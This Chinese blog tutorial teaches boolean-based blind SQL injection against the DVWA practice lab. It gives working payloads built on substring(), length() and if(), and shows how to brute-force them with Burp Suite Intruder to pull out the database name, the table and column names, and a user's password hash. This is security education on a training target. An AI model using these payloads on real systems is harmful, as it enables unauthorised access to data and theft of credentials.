SQL布尔型盲注入是一种SQL注入攻击方式, 根据某个条件是否成立,来判断返回结果的真假,通过布尔型盲注,攻击者可以逐个字符地推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。
什么情况下我们会采用盲注?我们平时最常用的是union联合查询注入,这是基于页面有数据回显的条件;但是,如果无论你输入什么,页面始终都只回显两种情况,我们可以把这两种情况看成是1或者0,也就是说,要么你查的东西有,要么不存在。
面对这种只回显两种情况的,我们一般是采用盲注。盲注可以分为时间延迟盲注和布尔型盲注两种,时间延迟盲注是利用时间延迟等待的方式进行推断(主要使用sleep函数),而布尔型盲注则是利用返回结果的布尔值(1或0)进行推断(主要使用substring()、length()函数)。两种盲注都还会用到if()函数进行条件判断。
关于时间盲注及sleep函数的用法,参考我之前的博客:
NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)
本篇博客主要介绍布尔盲注
length()函数用于判断长度,重要的是substring()函数,该函数用于字符串截取,共有三个参数:
substring(database(),x,y)
其中database()可以可以理解为一个字符串,因为该函数会回显数据库名,对吧,因此第一个参数其实就是我们得到的一个字符串;
第二个参数x,表示截取字符串的起始位置,也就是说控制从第几个字符开始截取;
第三个参数y,用于控制截取出几个字符。
这里我们使用?dvwa?靶场给大家讲解和演示
注意:难度选成low,你要是选的impossible那就没得玩了
来到 SQL injection(blind)
输入存在的id,比如1
回显情况一:User ID exists in the database.
输入不存在的id
回显情况二:User ID is MISSING from the database.
这里就算输入1'也不会回显SQL语句报错界面,依旧是回显情况二。
这里会有一个url编码的问题,因此我们直接在url修改id的内容
首先判断是否存在布尔盲注
(准确来说我们是应该先找闭合点,一般是单引号或者双引号的字符型或者数字型)
1' and if(1=1,1,0)--+
使用单引号将前面的查询语句闭合,and后面继续执行if语句?;
if(1=1,1,0)表示:如果1=1,则返回1,否则返回0;
最后再使用 --+ 将后面内容注释掉(常见的注释还有#)。
可以看到页面回显正常:User ID exists in the database.
1' and if(1=2,1,0)--+
1显然不等于2,则返回0
页面回显查询内容不存在:User ID is MISSING from the database.
换句话说,页面回显的情况只有真和假,即0和1,这显然符合盲注的条件;并且回显内容不包含数据库里内容的任何信息,显然联合查询是无法实现查询的,只能采用盲注。
我们可以先看一下这个靶场的数据库内容,主要是便于大家理解我后面给出的注入语句。
数据库名:dvwa
表名:guestbook、users
列名:...
这里先给大家看了内容我们进行判断,之后我会讲在不知道的情况下使用burpsuite进行猜解。
1' and if(substring(database(),1,1)='d',1,0)--+
判断数据库名的第一个字符是否为'd',是则返回1,否则返回0。?
通过回显结果我们可以得知数据库名第一个字符为'd'。
1' and if(substring(database(),1,1)='a',1,0)--+
?判断数据库名的第一个字符是否为'a',是则返回1,否则返回0。?
通过回显结果我们可以得知数据库名第一个字符不是为'a'。
基于上述原理,如果我们将所有大小写字母和数字以及特殊字符都遍历一遍,理论上来说是不是就可以爆出数据库名了呢?
那么我们第一步其实是先判断数据库名的长度:
1' and if(length(database())=4,1,0)--+
如果数据库名的长度是4个字符,则返回1,否则返回0。
通过回显信息可以得到数据库名长度就是4个字符
1' and if(length(database())=6,1,0)--+
如果数据库名的长度是6个字符,则返回1,否则返回0。?
通过回显信息可以得到数据库名长度不是6个字符
上述都是一些简单的测试语句,接下来我们使用burpsuite进行爆破猜解。
比如我们先爆破数据库名的正确长度
我们首先也提交上述注入语句
1' and if(length(database())=6,1,0)--+
使用bp抓包,抓到后发给攻击模块(还是需要注意URL编码的问题)
请求时依旧在URL直接改变id的值,然后使用bp拦截,拦截后内容如下图:
如果分号没有被转成%27,空格没有被转成%20,可能会报400的错误。
设置参数位置
这里只爆一个参数,因此使用狙击手(也可以同时爆破两个参数则需要使用其他攻击类型)
使用一个简单的自带字典
设置好后开始攻击
通过结果我们可以一眼得出,数据库名长度为4个字符串。
接下来我们爆破具体的数据库名
1' and if(substring(database(),1,1)='a',1,0)--+
这里的变量有两个:
第一个参数用于决定数据库名字符串的截取位置;
(我们已经知道数据库名长度为4)
第二个参数用于判断截取出来的这个字符的具体内容。
(使用包含所有大小写字母数字特殊字符的字典)
由于存在多个参数,并且位置和内容并不存在一一对应关系,我们需要的是所有可能的组合,因此攻击类型使用集束炸弹。
设置第一个参数爆破的字典,我们已经知道数据库名长度为4个字符,因此这里我们只需要分别截取第1、2、3、4个字符即可。
设置第二个参数的爆破字典
我这里添加了所有的大小写字母和数字
爆破结束
我们直接筛选状态码为200,即回显为真的结果
拼接字符得到数据库名为dvwa,因为我的靶场是Windows系统搭建的,因此对大小写不敏感。
(似乎mysql数据库默认对大小写不敏感,并且是可以进行设置和修改的)
接下来我们查该数据库(dvwa)下的表名
1' and if(substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='a',1,0)--+
limit 0,1 表示从第一条数据开始取,共取出1条记录。
limit可用于猜解多条数据,再比如:limit 2,4 则表示取出第3条至第6条,共取4条记录。
设置攻击类型和爆破位置
这里我们没有提前测表名长度,因此可以将字典长度适当设长一点;
由前面经验我们知道大小写不敏感,因此这里我只放了小写字母和数字。
爆破完成,使用过滤器筛选出响应状态码为200的
按照payload1排序(因为我们是从表名第一个字符依次往后爆破的)
得到第一张表名为:guestbook
尝试获取第二张表名,按照我们前面讲的limit使用规则,将其修改为 limit 1,1
1' and if(substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='a',1,0)--+
操作方法同上,即可爆出第二张表名为:users
接下来我们尝试爆破users表下的列名
1'and if(substring((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1,1)='a',1,0)--+
在设置爆破参数时我们可以多添加一个,即limit的第一个参数,用于控制从第几条记录开始取
如下图所示:
对于limit的第一个参数来说,它是从0起的,结尾我们设到10
(也就是说我们最多取到第11条数据)
对于substring的第二个参数,它是从1起的,我们也取至10
第三个参数则是爆破具体的列名,保险起见这里使用所有大小写字母数字和特殊字符
内容较多,耐心等待
爆破结束,第一个列名应该是:user_id
考虑到大小写的干扰,我们还是只使用小写字母再试一次
现在看着就很明显,依次往下为该表的第二、三...个列名
但是部分列名似乎顺序不太对,因为这里似乎只能按照一个payload的顺序排,但我们也可以大致的看出单词字母的正确顺序,如果想更加准确明显的精准爆破,那么建议只指定一个或两个参数多次爆破,参数太多,结果顺序显示就容易出问题。
我们可以看到这里有一个名为password的列,那么我们尝试获取该列的具体字段数据
即查询数据库名为dvwa,表名为users,列名为password下的具体字段内容
1' and if(substring((select password from dvwa.users limit 0,1),1,1)='a',1,0)--+
但是我们首先还是先判断一下密码的长度
1' and if((select length(password) from dvwa.users limit 0,1)=1,1,0)--+
使用狙击手爆破单个参数
得到密码password的长度为32
使用上述payload获取密码具体内容
1' and if(substring((select password from dvwa.users limit 0,1),1,1)='a',1,0)--+
设置参数位置,选择攻击类型
第一个参数字典非常明确1-32
因为我们知道密码长度为32,并且我们需要爆破出每一位的具体值
第二个参数使用所有字母数字特殊字符
筛选结果时发现还是存在大小写不敏感的问题,因此字典依旧不使用大写字母
但是这里排序出来的密码password顺序不太对,我们保存攻击结果
只保存payload1和payload2
我们需要按照payload1的顺序来排序
最终整理得到密码password:5f4dcc3b5aa765d61d8327deb882cf99
与数据库内容一致
至此,我们实现了基于布尔盲注爆破数据库名、表名、列名以及具体字段信息。
后续会继续给大家更新网络安全、Web漏洞、CTF相关的文章。
创作不易,期待大家的支持与关注!